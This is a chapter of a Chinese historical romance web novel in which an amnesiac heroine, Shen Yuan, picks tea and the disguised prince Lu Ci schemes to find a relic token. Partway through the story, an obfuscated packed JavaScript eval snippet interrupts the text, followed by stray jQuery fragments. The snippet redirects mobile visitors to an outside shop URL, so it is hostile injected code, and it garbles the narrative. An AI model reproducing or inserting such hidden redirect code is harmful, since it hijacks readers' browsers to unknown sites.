清晨的茶园笼着一层薄薄的雾,露水挂在嫩绿的芽尖上,被初升的日光一照,亮闪闪的像撒了碎银子。
一切静谧美好……如果没有田埂上那一串凌乱脚印的话。
“阿鸢,你怎么来了?”江小鸽长着一张白净圆脸,笑着问沈鸢。
自打前几天那个叫陆辞的茶商来了之后,寨民们都在茶园里帮忙采茶,她也是其中之一。
“给你们帮忙呀,还请小鸽姐姐教教我如何采茶。”
“那你先在旁边看着我吧,得用手掐茶叶嫩尖,但又不能太用力,否则会碎的。”
“这也太慢了。何时才能赶上中饭?”
“……这才刚来,你就想着中饭?”
“不不不……我意思是我一会儿还有别的事。”
比如帮陆辞找丢失的茶叶罐头,这是昨天答应的事情,吃了人家那碗面,可不能食言!
当然话说回来,最要紧的还是快点采茶,这是为了她自己!
看着太阳渐渐往上爬,沈鸢深吸一口气:“我来!”
话音刚落,身影不见了。
整片茶垄像是被一阵狂风吹过,嫩叶纷纷扬扬地飞起来,在半空中打了几个旋,簌簌地落向江小鸽脚边的竹筐。
落花飞叶,满园飘香。
江小鸽看得目瞪口呆,连茶园入口来了个人,都没有发现。
直到一阵剧烈的咳嗽声响起。
一个青衣身影站在茶园入口,正捂着口鼻猛咳,满脸都是被扬起的尘土和碎叶。
是陆辞。
他今日换了身干净的衣裳,青色长衫衬得整个人清清爽爽的。但此刻这张清爽的脸上沾了不少灰,头发上也挂着几片碎茶叶,模样颇为狼狈。
沈鸢“嗖”地一下落在他面前:“陆公子,你来了!”
“……你在采茶?”
“是啊,我就说我可以吧。”
江小鸽一把拉住沈鸢:“你下回悠着点!你先前那伤……”
“放心,我现在一点事儿都没有了。”
“可别这么说,大当家交代了……”
陆辞奇道:“怎么,江姑娘也知道二当家受过伤?”
“那是自然,我自小学医,阿鸢当初被大当家背回来,就是送到我这里来的。”江小鸽叹道,“谁能想到呢,两个月前她还躺在床上下不来……”
说到这里,她忽然噤声。
关于沈鸢受伤这事,大当家说了,不能再提。
但她直到现在都能清晰记得,当时大当家将人送来时,伤得有多重,简直像是站在了鬼门关口上。
“总之,阿鸢能恢复成如今这样,不容易啊。”
江小鸽叹了口气。就是可惜啊,这姑娘就算现在看起来活蹦乱跳,其实真是还没好透。
她的心脉、她的记忆……
沈鸢一时没听见边上的说话声。她感觉自己唇腔泛着苦意,心跳出现了不同寻常的颤动。
刚才为了快点采茶,飞得太急,现在一下子缓不过来。
望着江小鸽一开一合的嘴唇,她耳中隐约传入“受伤”“恢复”之类的字眼,脑中一片空白。
不自觉地抬起左手,她隔着袖子摸了摸胳膊上的某个位置。那里有一个字,刺在皮肤上,像是烙进去的。
鸢。
那是自己的名字。
都两个月了,就只记得这个,她叫沈鸢。其他的,什么都没印象了。
我到底,从何处来,要去何处?
我先前受那么重的伤,又是因何?
所有疑问冲击而来,她脸色发白。
陆辞先发现了她异样:“你怎么了?”
“没事,还得多亏小鸽姐姐救我,当时投喂了我不少药丸药草。”
“行了,就你嘴甜。既然这筐都满了,那……”
“那不如小鸽姐姐你先回去?我还得帮这位陆公子,寻找茶叶罐头。”沈鸢转向陆辞,莞尔一笑。
“也好,我先走一步,一会儿你们忙完了,都来我家尝尝新做的茶酥饼。”
“好!”沈鸢面露喜色,“陆公子,你昨天除了茶园,还去过什么地方?”
陆辞摇头:“我不记得了,寨里山多,又是晚上,我连路都看不清。”
“这样啊,要不我们……”
“我可不像二当家你这样有着过硬功夫,走不了那么多山路。我那茶叶罐头,找不到就算了吧。”
他是为了那目标而来,想去的只有大当家屋子,没必要再将时间耗费在琐碎小事上。
既然陆辞不打算找东西了,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17720432|208618||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
她索性拉着人去江小鸽家里。
“小鸽姐姐家有茶酥饼,咱们快去吃。她家就在我家隔壁,你吃了饼还能去我家坐坐。
“隔壁?”
“是啊,隔了一条窄巷,可近了。”
陆辞点着头,嘴角弧度扬了起来,眼里是明晃晃的笑意。
走得急了,胸口未彻底平息的真气又开始乱窜,沈鸢感觉胳膊正在变烫。
皮肤下的那个字,像一块烙铁在慢慢加热。
她下意识去摸,指尖刚触到,一股剧痛猛地窜上后脑。
旋即在脑中炸开的,是无数声音碎片。
那些声音像毒蛇一样钻进耳朵,她想抓住,它们却滑走了。最后只剩几个字,在脑子里嗡嗡作响。
“……七皇子?萧珩?”沈鸢用几不可察的声音喃喃着。
为什么又是那个名字!
走在后面的陆辞,似乎听到了什么模糊的字眼,袖中的手缓缓握紧。
萧珩。
她怎么会知道自己真实的名字?
这人明明失忆了,连都城在哪里都没有听过,怎么会知道他这个不受宠的闲散皇子?
“小心。”
沈鸢没看清脚下的路,一个不慎,差点摔倒。幸亏边上有双手扶住了她,也将自己从混乱意识中拉了回来。
再次抚摸胳膊那个字,温度正常,好像刚才一切都是幻觉。
心虚之下,她从陆辞手里挣脱,快走两步,到了茶园门口。发现那人落远了,回头挥手,重新绽出笑颜时,眼角绯色在日光下扑闪,与翠色茶叶相得益彰,好像熟透了的樱桃躲在树影斑驳之下。
陆辞不疾不徐跟着,暗中摩挲着指腹。
方才借着搀扶之机,他在沈鸢腕间探了脉象,很是奇异。就像是刚经历了一场大乱之后,趋于平息,但犹未完全修整。
他忽然意识到,那人的记忆在苏醒。
而这个苏醒的记忆里,有他的名字。
“鸢,你可别太快想起来。”陆辞喃喃,“至少,在我找到那东西之前,你得像现在这样,给我……帮忙才是。”
不仅是帮他快点采茶,还得帮他找到想要的东西,前朝遗物,玄铁令。那传说能开启前朝兵库、助他重振朝纲的玄铁令,已经近在咫尺……